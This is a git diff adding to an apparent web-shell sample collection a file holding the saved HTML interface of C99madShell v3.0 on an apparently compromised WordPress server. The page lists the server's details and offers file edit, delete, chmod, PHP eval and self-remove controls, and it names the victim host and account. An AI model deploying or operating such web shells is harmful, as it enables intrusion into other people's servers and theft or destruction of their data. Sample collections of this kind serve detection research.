z5IaP(XA!!?7mW}JR{aaOd$XbiEZZtQh&LIu8<}>DxG<Aj@#*DW4?8<V)5|v2Awvu& zYo@k7w)cn{R^jud`XXq>1p@`aUkAj2DKM0;e6q@<tTNs-GoZ|Lv%c-qN!vg*<P@T$ zE<kq8%?f&x{auNlX>qZ|WAap^jJW~uYPfyd#%Za_STFwJornV~<o4;~xiu@hTI&)n zcY|?{FS~eZ6#tk+rovX7dQ=b#{V&9xke7U$yG8hDNQJ#Xf_O|0(6z<W@{W3$zb8J} zfH_&MzHXl0!oL`Jx(NSJkMVZZt%S#8Oj=2rBYXqHdEbm{KFwDb2fh`i0Pdx(-6$)x zau4IpmTe?`CuR-%N6o42)k~&)w?}<7qOb|KrW0%$%HD%zy<u*Fl5<oC^%EUfhob|` zFyJS12xRYsS~zPfiP2mQWLe628nX8jIdvePebS`Bm`lGdX&XAwfwDD2yeh!Uo0+{N zWut7`lN2F$DVw@!1Rrq@$nO{HgMA#1AQ#eS>?P=M7o`8>E#R^at_W6J5*H$zIP&n{ z9>r1&Qw!f4z#^lQq%C(+x7}kL;I)b`0@a~@Gk*9l;YZN_9DX!T$90yxOU&0hM#S=O z_w%uH%J?u3<8H<>7~Rz%$Tr_=dg+_i_!!y0$1Nt^A8OQ2KrtOj^=P}K2vSisAPAP} z=;Zs0S>xI_TYl4&+^hT|{%G`{DTnZP9_gpG13fU9RCZK{_@NL%>JC)#|KKYW!gtr% zdrl^N`K9Y*bTq2uVZtEftK^kC(|a>P3G(;qwq{4w@x8lJW)3A>Cc1WkRzTwzs6JQ& zA4%?r!)Q}|SUXJ@-=#h|Cc%L~u1Vj`iKXW;wRsG`JjU@hd)8Y^2$lUg)J<XuVYv*_ zIz`>uZJS)zSKouG^?>vRgZ&jcgAROOfVhAuY{hvh9vs{{n5cJ&H{qwUfeC>XS7Mer zMo6gR8h3iV+n`Tc1BzO(lM3_F^ovbKV&gtF$#aZ$l<MSzb?LXaYU;SgWfCqF^unE8 zwNfoY7HALjt9BW0ww!!{ahlTYKQ}zyoriK59bF4qrw~j@ZUIY=ob0C4pDVF_j_W9; zJw<(eS_c;+a`E(a|C^2`?^A(kP87dD1wn@c%U&VB^}#{%{lB%f|JhF<z_uI)F&OtG zKaP~=G3iwT&mu2<7sz%3isxhFfntk%2Qhqig4yd1vlnG;qladg<lXt=pdx`j!iY;y z_UXpqL|wkP_WmxhLOfQ6pHdAAJcovs#r-=WOTq3$X?j3YBF{*#Ldo4pgT|x_m^H9y zalTqV=>+X$Srd|Xd+jzgi;S@0i4hx7yJ44Bz)Ag>&^7ptxntqVjzGDRSj}5l?TH2) zlVjDpolY{$nER<ydXw-xkg~LAjE@QVS>kw9L)ofMQoxHh=<ic4q$^hJhTOvDUKX6F zI<pFqDeVX5@9#tysc&nZn5`>mwMS9uDFVUsJa1D?ZZ0P|ZOs4wim3ldy9S23_MzHD z)Y+^)`5n878AFur0-W9<Do{B_tu}rfbx~8-4goi#pT~E2Y)K12buX+5avAf-4vfJn z8w=4jZo7&Q-Ly6?u{Q<fihDYFi<4}pB(2<9?RpZpcR!_T(^=QW*X8f<Dx_PrmvRV7 zY|(+h_eF~x@KS+Zvr!LLw5xpJ$zad{Z>Q`Q+wy_{n7>b~6}|}ALS{i`uj#;7C_g3~ z#kqtnMmQ97CuhXCH;?F3SgRqce(b#RRq`ar{Z@k5tqD>Z4P>I1|8#r;=KwbV)?RU# zuPd;WlX*txhVVlj&yyDQNg&)@tq5nfar&iaAFAt=$93mPoh;*7!UMSR2+R2?pFCur z+wmH71!5KH7@0N;m)>ZSzeR}uY*98199tpacroHI@v&$D4(^HrBOIMbX@8%iZW$+< zcy<`crHsP(aYIJVZeQJPaqw_tuciu}p6JeN8c!Oy6LrbYd-(3IUWGVCRZ?{qtgJ9L zuVx~suZFka^v)xGXhWNdg>IA#$q0h1HjD<^8sO%-!g;#ac(8G;-ohxJ!eg2sFER?T zP(l(&rMB!CMd=-uu7fpGy{6wQtBV~s;a0|dv6vok7=T!>4|^%w3Q~DZ768N&=37k` z*<&bp+2}zGew(slGE5EcVirpyjqe1tH#B)@sFZfyNNt}z06#5eC)b~Q1ED)|W%@~G zV4ko45Iw8Z@IV5Vb?#njGAeTBo7^V%d78p;gr{f&4Wg&&JKe66cH^{E>^Zb!>JDB+ za1^0bgx7x19Q*tJEA3l7)m&`#{8%xvY{8Vs$c%bY1O)5Y3aN?mQDyCX?xRY?>Wb4q zb1D#Cr#v*z(K^7wot9-L_U?~?*eE3%Z`%=c|1`lIf^XN~qDVmZ<~DN~2aTtpl}jhK zxeupqPc6WvEiMa_tUwGoTX;*KNc$^d6LB7#S^@tex+o00dzWO*_FoPG(VWVEPH7sS zhZ=!)Wn4le^4*H=N20!tDD0ap3jv%Mq8j}8RCs<BLtWYstWG`}RL<~98K%I38O)L* z=b><v1_b7C;hNdUn+MH#3;zo;{PLg8Wmj>BMH$wUy-t$w{h`HOzWVXz$0I}O8IGiA z72M8G$mxZ1+LnDKkT2siq1T;vnw}kM5xRt`4aXEev?N?Fp7K{!tJ$K@Nji>wx+Y5> zuh=}e^#u*`CHzXgV99F=u}hFpheg%F>w4aON=iKh=gfUijF+KG*_9!$XpSLzrFb^H zZH7>Vq)7ez{$D)ruN9g1<C50Y^<a^=Cb|b$)%7~2<}D*9xA{+SIj<l11z7l1WI)1i zA?ki$TlF<LluieQA6P+7Qbe`2<#eU@T<fr;V&GD}De)#gMbTT|4xYUKd<E|m<xeN> zqTfnky}$ii<@fe8Jf{=!NodBNr!JfAGyP>ThJ0bDj&?R&_0dtrYWMA$e#(*K71;Gg zNd6WH=r@A6)hx{!{FKv*%?-C&2DYNR2<_9O@5EPzVK{Q<M!NROtMpN=vp6_v9OZn| z>`AAS1og1Tn9Ve4vb5O@<eM{=VWLGQ-r%{a{uy|OUF+gE7P;n&d{_JeU5iPRi=kP@ z?pbxXP4|Izx2iM^`1`b%o<eoSiitt~sz9CNn|~VfqhtlaK5Q8h=FV9xg<yN1QCPg@ z<#HFDVCiakVbghR8|5VKH;a~S*YGi-++*2HaT_vi5n<Vx@JUO?zM@a{PY=OoH*WW6 zO)VTnI^ygm1Esd#*0m=$!sP`fwCOGo&*veTppF}VhT8+8BeOgKKN!SWGaICR-8#&p z_#QfE!jANz?&%1k6|^9=HAQMgj|=YDN?|wDDCofRD60B4%=6%!$C-eyqgVug28gT- xX+5@%$fvA2g@T@aFMi%2!aw}0jMdI(isq1fhMn&XG|r;a<!wb}u<s4;KLCR%umJ!7 literal 0 HcmV?d00001 diff --git a/php/PHPshell/【C99madShell v. 3.0】/smowu.php b/php/PHPshell/【C99madShell v. 3.0】/smowu.php new file mode 100644 index 0000000..9f2b743 --- /dev/null +++ b/php/PHPshell/【C99madShell v. 3.0】/smowu.php @@ -0,0 +1,327 @@ +<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title>thecompanyart.com - c99madshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><form name='todo' method='POST'><input name='act' type='hidden' value=''><input name='grep' type='hidden' value=''><input name='fullhexdump' type='hidden' value=''><input name='base64' type='hidden' value=''><input name='nixpasswd' type='hidden' value=''><input name='pid' type='hidden' value=''><input name='c' type='hidden' value=''><input name='white' type='hidden' value=''><input name='wp_act' type='hidden' value=''><input name='wp_path' type='hidden' value=''><input name='sig' type='hidden' value=''><input name='processes_sort' type='hidden' value=''><input name='d' type='hidden' value=''><input name='sort' type='hidden' value=''><input name='f' type='hidden' value=''><input name='ft' type='hidden' value=''></form><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="/wordpress/wp-xmlrpc.php"><font face="Verdana" size="5"><b>C99madShell v. 3.0 BLOG edition</b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr> +<tr><td> +<p align="left"><b>Software:&nbsp;Apache/2.0.52 (Red Hat)</b>&nbsp;</p> +<p align="left"><b>System:&nbsp;Linux thecompanyart.com 2.6.9-42.0.3.EL.wh1smp #1 SMP Fri Aug 14 15:48:17 MDT 2009 i686</b>&nbsp;</p> +<p align="left"><b>User/Group:&nbsp;anatandannie/vuser</b>&nbsp;</p><p align="left"><b>Php version: <a href="#" onclick="document.todo.act.value='phpinfo';document.todo.submit();"><b><u>5.2.6</u></b></a> +<p align="left"><b>Php modules:&nbsp; +<font title="libxml,xsl,xmlwriter,xmlrpc,dom,xmlreader,xml,tokenizer,session,pcre,SimpleXML,SPL,PDO,sockets,soap,SQLite,standard,Reflection,pspell,posix,pgsql,pdo_sqlite,pdo_pgsql,pdo_mysql,mysqli,mysql,mssql,mhash,mcrypt,mbstring,ldap,json,imap,iconv,hash,gmp,gettext,gd,ftp,filter,exif,dbase,dba,date,curl,ctype,calendar,bz2,bcmath,zlib,openssl,apache2handler,magickwand,Zend Optimizer">mysql, mysqli, ftp, curl, imap, sockets, mssql</font></b>&nbsp;</p> +<p align="left" style="color:red"><b>Disable functions:&nbsp;passthru, proc_open, shell_exec, system</b></p><p align="left"><b>Install program:&nbsp;<font color="#00CCFF"><font title="/usr/bin/php">php</font>, <font title="/usr/bin/perl">perl</font>, <font title="/usr/bin/make">make</font>, <font title="/bin/tar">tar</font>, <font title="/usr/bin/wget">wget</font>, <font title="/usr/bin/lynx">lynx</font>, <font title="/usr/bin/curl">curl</font>, <font title="/usr/bin/lwp-mirror">lwp-mirror</font>, <font title="/usr/bin/lwp-download">lwp-download</font></font></b></p><p align="left"><b>Allow_url_fopen:&nbsp;<font color="green">ON</font></b></p> +<p align="left"><b>Allow_url_include:&nbsp;<font color="red">OFF</font></b></p> +<p align="left"><b>Safe-mode:&nbsp;<font color=green>OFF (not secure)</font></b></p> +<p><font color=red>Wordpress Not Found! <input type=text id="wp_pat"><input type="submit" value="SET PATH" onclick="document.todo.act.value='ls';document.todo.wp_path.value=document.getElementById('wp_pat').value;document.todo.submit();"></p><p align="left"><a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2F';document.todo.sort.value='0a';document.todo.submit();"><b>/</b></a><a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2F';document.todo.sort.value='0a';document.todo.submit();"><b>var/</b></a><a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2Fwww%2F';document.todo.sort.value='0a';document.todo.submit();"><b>www/</b></a><a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2F';document.todo.sort.value='0a';document.todo.submit();"><b>html/</b></a><a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress%2F';document.todo.sort.value='0a';document.todo.submit();"><b>wordpress/</b></a>&nbsp;&nbsp;&nbsp;<b><font color=green>drwxr-xr-x</font></b><br><a href="#" onclick="document.todo.act.value='search';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress%2F';document.todo.submit();"><b><hr>Search</b></a>&nbsp;&nbsp;&nbsp;&nbsp;<a href="#" onclick="document.todo.act.value='eval';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress%2F';document.todo.submit();"><b>PHP-code</b></a>&nbsp;&nbsp;&nbsp;&nbsp;<a href="#" onclick="document.todo.act.value='selfremove';document.todo.submit();"><b>Self remove</b></a>&nbsp;&nbsp;&nbsp;&nbsp;</p></td></tr></table><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><center><b>Listing folder (28 files and 4 folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form method=POST name="ls_form"><input type=hidden name=act value=ls><input type=hidden name=d value=/var/www/html/wordpress/><tr> +<td><b>Name</b><a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress%2F';document.todo.sort.value='0d;document.todo.submit();"></td> +<td><a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress%2F';document.todo.sort.value='1a';document.todo.submit();"><b>Size</b></a></td> +<td><a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress%2F';document.todo.sort.value='2a';document.todo.submit();"><b>Modify</b></a></td> +<td><a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress%2F';document.todo.sort.value='3a';document.todo.submit();"><b>Owner/Group</b></a></td> +<td><a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress%2F';document.todo.sort.value='4a';document.todo.submit();"><b>Perms</b></a></td> +<td><b>Action</b></td> +</tr> +<tr> +<td><a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2Fwww%2Fhtml';document.todo.sort.value='0a';document.todo.submit();">..</a></td> +<td>LINK</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='..';document.todo.submit();">11.10.2009 12:14:52</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='..';document.todo.submit();"><b><font color=green>drwxr-xr-x</font></b></a></td> +<td><input type="checkbox" name="actbox[]" id="actbox0" value="/var/www/html/wordpress/.."></td> +</tr> +<tr> +<td><a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.sort.value='0a';document.todo.submit();">.</a></td> +<td>LINK</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='.';document.todo.submit();">14.01.2010 11:48:42</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='.';document.todo.submit();"><b><font color=green>drwxr-xr-x</font></b></a></td> +<td><input type="checkbox" name="actbox[]" onclick="ls_reverse_all();"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress%2Fwp-admin';document.todo.sort.value='0a';document.todo.submit();">[wp-admin]</a></td> +<td>DIR</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-admin';document.todo.submit();">21.07.2009 01:20:14</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-admin';document.todo.submit();"><b><font color=green>drwxr-xr-x</font></b></a></td> +<td><input type="checkbox" name="actbox[]" id="actbox1" value="/var/www/html/wordpress/wp-admin"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress%2Fwp-content';document.todo.sort.value='0a';document.todo.submit();">[wp-content]</a></td> +<td>DIR</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-content';document.todo.submit();">14.01.2010 10:59:59</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-content';document.todo.submit();"><b><font color=green>drwxr-xr-x</font></b></a></td> +<td><input type="checkbox" name="actbox[]" id="actbox2" value="/var/www/html/wordpress/wp-content"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress%2Fwp-content-new';document.todo.sort.value='0a';document.todo.submit();">[wp-content-new]</a></td> +<td>DIR</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-content-new';document.todo.submit();">05.02.2009 18:09:15</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-content-new';document.todo.submit();"><b><font color=green>drwxr-xr-x</font></b></a></td> +<td><input type="checkbox" name="actbox[]" id="actbox3" value="/var/www/html/wordpress/wp-content-new"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='ls';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress%2Fwp-includes';document.todo.sort.value='0a';document.todo.submit();">[wp-includes]</a></td> +<td>DIR</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-includes';document.todo.submit();">27.11.2009 23:30:49</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-includes';document.todo.submit();"><b><font color=green>drwxr-xr-x</font></b></a></td> +<td><input type="checkbox" name="actbox[]" id="actbox4" value="/var/www/html/wordpress/wp-includes"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='.htaccess';document.todo.submit();">.htaccess</a></td> +<td>301 B</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='.htaccess';document.todo.submit();">01.09.2009 09:30:43</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='.htaccess';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='.htaccess';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='.htaccess';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='.htaccess';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox5" value="/var/www/html/wordpress/.htaccess"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='clear.js';document.todo.submit();">clear.js</a></td> +<td>1.02 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='clear.js';document.todo.submit();">12.01.2010 03:48:34</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='clear.js';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='clear.js';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='clear.js';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='clear.js';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox6" value="/var/www/html/wordpress/clear.js"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='index.php';document.todo.submit();">index.php</a></td> +<td>397 B</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='index.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='index.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='index.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='index.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='index.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox7" value="/var/www/html/wordpress/index.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='license.txt';document.todo.submit();">license.txt</a></td> +<td>15.05 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='license.txt';document.todo.submit();">04.11.2009 16:49:41</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='license.txt';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='license.txt';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='license.txt';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='license.txt';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox8" value="/var/www/html/wordpress/license.txt"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='readme.html';document.todo.submit();">readme.html</a></td> +<td>7.46 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='readme.html';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='readme.html';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='readme.html';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='readme.html';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='readme.html';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox9" value="/var/www/html/wordpress/readme.html"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-app.php';document.todo.submit();">wp-app.php</a></td> +<td>39.82 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-app.php';document.todo.submit();">04.11.2009 16:49:39</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-app.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-app.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-app.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-app.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox10" value="/var/www/html/wordpress/wp-app.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-atom.php';document.todo.submit();">wp-atom.php</a></td> +<td>541 B</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-atom.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" 